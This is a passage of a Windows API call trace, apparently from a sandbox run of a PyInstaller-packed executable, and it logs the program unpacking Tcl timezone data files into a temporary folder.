(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.191] GetFileType (hFile=0x10c) returned 0x1 [0038.191] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.191] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.191] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.191] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.192] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.192] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.192] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.192] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.192] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.192] CloseHandle (hObject=0x10c) returned 1 [0038.192] GetLastError () returned 0x0 [0038.192] SetLastError (dwErrCode=0x0) [0038.192] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Khartoum") returned 72 [0038.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Khartoum" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\khartoum"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.192] GetLastError () returned 0x2 [0038.192] SetLastError (dwErrCode=0x2) [0038.192] GetLastError () returned 0x2 [0038.192] SetLastError (dwErrCode=0x2) [0038.192] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Khartoum", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Khartoum", lpFilePart=0x0) returned 0x47 [0038.192] GetLastError () returned 0x2 [0038.192] SetLastError (dwErrCode=0x2) [0038.192] GetLastError () returned 0x2 [0038.192] SetLastError (dwErrCode=0x2) [0038.192] GetLastError () returned 0x2 [0038.192] SetLastError (dwErrCode=0x2) [0038.192] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Khartoum") returned 72 [0038.192] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Khartoum" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\khartoum"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.193] GetFileType (hFile=0x10c) returned 0x1 [0038.193] htonl (hostlong=0x27040000) returned 0x427 [0038.193] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.193] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x427, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x427, lpOverlapped=0x0) returned 1 [0038.194] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.194] CloseHandle (hObject=0x10c) returned 1 [0038.194] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550750 | out: hHeap=0x530000) returned 1 [0038.194] htonl (hostlong=0x30000000) returned 0x30 [0038.194] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.194] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.195] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.195] GetFileType (hFile=0x10c) returned 0x1 [0038.195] htonl (hostlong=0xac545800) returned 0x5854ac [0038.195] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d04ac, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.195] htonl (hostlong=0x87000000) returned 0x87 [0038.195] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x87) returned 0x55cfe0 [0038.195] htonl (hostlong=0x87000000) returned 0x87 [0038.195] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.195] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.195] htonl (hostlong=0x8f000000) returned 0x8f [0038.195] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x550600 [0038.195] htonl (hostlong=0x87000000) returned 0x87 [0038.195] htonl (hostlong=0x8f000000) returned 0x8f [0038.195] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.195] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.195] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.195] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.195] CloseHandle (hObject=0x10c) returned 1 [0038.195] GetLastError () returned 0x0 [0038.195] SetLastError (dwErrCode=0x0) [0038.195] GetLastError () returned 0x0 [0038.195] SetLastError (dwErrCode=0x0) [0038.195] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.195] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.195] GetFileType (hFile=0x10c) returned 0x1 [0038.196] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.196] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.196] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.196] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.196] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.196] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.196] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.196] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.196] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.196] CloseHandle (hObject=0x10c) returned 1 [0038.196] GetLastError () returned 0x0 [0038.196] SetLastError (dwErrCode=0x0) [0038.196] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.196] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.196] GetFileType (hFile=0x10c) returned 0x1 [0038.196] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.196] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.196] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.196] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.196] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.196] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.196] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.196] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.197] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.197] CloseHandle (hObject=0x10c) returned 1 [0038.197] GetLastError () returned 0x0 [0038.197] SetLastError (dwErrCode=0x0) [0038.197] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.197] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.197] GetFileType (hFile=0x10c) returned 0x1 [0038.197] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.197] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.197] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.197] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.197] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.197] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.197] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.197] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.197] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.197] CloseHandle (hObject=0x10c) returned 1 [0038.197] GetLastError () returned 0x0 [0038.197] SetLastError (dwErrCode=0x0) [0038.197] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kigali") returned 70 [0038.197] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kigali" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\kigali"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.197] GetLastError () returned 0x2 [0038.197] SetLastError (dwErrCode=0x2) [0038.198] GetLastError () returned 0x2 [0038.198] SetLastError (dwErrCode=0x2) [0038.198] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kigali", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kigali", lpFilePart=0x0) returned 0x45 [0038.198] GetLastError () returned 0x2 [0038.198] SetLastError (dwErrCode=0x2) [0038.198] GetLastError () returned 0x2 [0038.198] SetLastError (dwErrCode=0x2) [0038.198] GetLastError () returned 0x2 [0038.198] SetLastError (dwErrCode=0x2) [0038.198] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kigali") returned 70 [0038.198] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.198] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kigali" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\kigali"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.198] GetFileType (hFile=0x10c) returned 0x1 [0038.198] htonl (hostlong=0x8f000000) returned 0x8f [0038.198] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.198] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x8f, lpOverlapped=0x0) returned 1 [0038.201] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.201] CloseHandle (hObject=0x10c) returned 1 [0038.202] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.202] htonl (hostlong=0x30000000) returned 0x30 [0038.202] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.202] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.202] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.202] GetFileType (hFile=0x10c) returned 0x1 [0038.202] htonl (hostlong=0x33555800) returned 0x585533 [0038.202] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0533, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.202] htonl (hostlong=0x88000000) returned 0x88 [0038.202] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x88) returned 0x55cfe0 [0038.202] htonl (hostlong=0x88000000) returned 0x88 [0038.202] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.202] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.202] htonl (hostlong=0x91000000) returned 0x91 [0038.202] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x91) returned 0x550600 [0038.202] htonl (hostlong=0x88000000) returned 0x88 [0038.202] htonl (hostlong=0x91000000) returned 0x91 [0038.202] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.202] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.202] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.203] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.203] CloseHandle (hObject=0x10c) returned 1 [0038.203] GetLastError () returned 0x0 [0038.203] SetLastError (dwErrCode=0x0) [0038.203] GetLastError () returned 0x0 [0038.203] SetLastError (dwErrCode=0x0) [0038.203] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.203] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.203] GetFileType (hFile=0x10c) returned 0x1 [0038.203] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.203] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.203] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.203] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.203] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.203] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.203] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.203] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.203] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.203] CloseHandle (hObject=0x10c) returned 1 [0038.203] GetLastError () returned 0x0 [0038.203] SetLastError (dwErrCode=0x0) [0038.203] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.203] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.204] GetFileType (hFile=0x10c) returned 0x1 [0038.204] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.204] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.204] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.204] CloseHandle (hObject=0x10c) returned 1 [0038.204] GetLastError () returned 0x0 [0038.204] SetLastError (dwErrCode=0x0) [0038.204] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.204] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.204] GetFileType (hFile=0x10c) returned 0x1 [0038.204] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.204] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.205] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.205] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.205] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, 